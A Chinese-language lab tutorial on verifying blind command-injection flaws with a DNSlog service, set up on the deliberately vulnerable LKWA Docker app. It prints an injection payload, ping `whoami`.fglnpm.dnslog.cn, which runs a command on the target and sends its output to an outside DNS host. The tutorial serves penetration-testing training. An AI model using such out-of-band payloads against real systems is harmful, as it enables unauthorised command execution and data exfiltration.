通過DNSlog回顯驗證漏洞


前言:

實際滲透測試中,有些漏洞因為沒有回顯導致無法准確判斷漏洞是否存在,可能導致滲透測試人員浪費大量精力在一個並不存在的漏洞上,因此為了驗證一些無回顯漏洞,可結合DNSlog平台進行測試,DNSlog平台鏈接如下://dnslog.cn/

環境搭建:

1.安裝 docker desktop

接下來直接搭建靶場,進入實驗環境,本實驗使用Docker搭建漏洞環境,操作系統是windows 10,Docker Desktop提供了較為完善的圖形化操作界面,且兼容性隨着版本更新目前已經與linux下運行的Docker無區別,安裝方式見官網,安裝操作較為簡單,無腦下一步即可,安裝完成后需要重啟,接着按照說明一步步安裝其他必備環境,這里就不再細說了。附上鏈接:https://www.docker.com/products/docker-desktop

2.拉取鏡像

打開CMD/PowerShell運行以下命令:

docker pull ge592555078/lkwa

從倉庫拉取鏡像

接着打開Docker Desktop按照下圖操作運行剛才拉取的環境,並將80端口映射到本地的81端口。

// 或者在命令行中直接輸入

docker run -d -p 81:80 ge592555078/lkwa

此時訪問

localhost:81

應當出現apache的默認頁面,證明環境搭建完成:

 

 漏洞復現:

由於主要學習dnslog的使用,我們就用環境中命令執行模塊復現。

1.訪問

localhost:81/index.php

 

此為漏洞環境的主頁

2.左側選擇 Bind RCE 命令注入環境

3.訪問dnslog平台,點擊 Get SubDomain 生成專屬子域名

 

 4.回到漏洞環境,在右側命令執行輸入框輸入下面命令后提交(whoami后應銜接獲取的子域名)

ping `whoami`.fglnpm.dnslog.cn

5.在返回DNSlog平台,點擊刷新解析記錄,可以發現whoami的執行結果已經拼接成四級域名

到此實驗結束

分析總結:

存在無回顯漏洞的主機訪問DNSlog平台就會留下DNS解析記錄,可以通過DNS解析記錄查看最終的執行結果,如示例中的語句:

 
        
ping `whoami`.fglnpm.dnslog.cn
此語句實際上是:
ping www-data.yafjqc.dnslog.cn

包圍着whoami的符號是反單引號,是shift+~組合打出來的符號,表示執行命令的意思,那么最終ping的結果就是ping whoami執行后的主機名.隨機三級域名.dnslog.cn,解析的時候一層一層的迭代解析,最終指向dnslog.cn服務器上你的專屬三級域名,並附帶上執行結果(四級域名),那么此時看dnslog服務器的DNS解析記錄即可查看whoami的執行結果,如果對DNS協議不清楚此時應先去學習DNS解析原理。

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM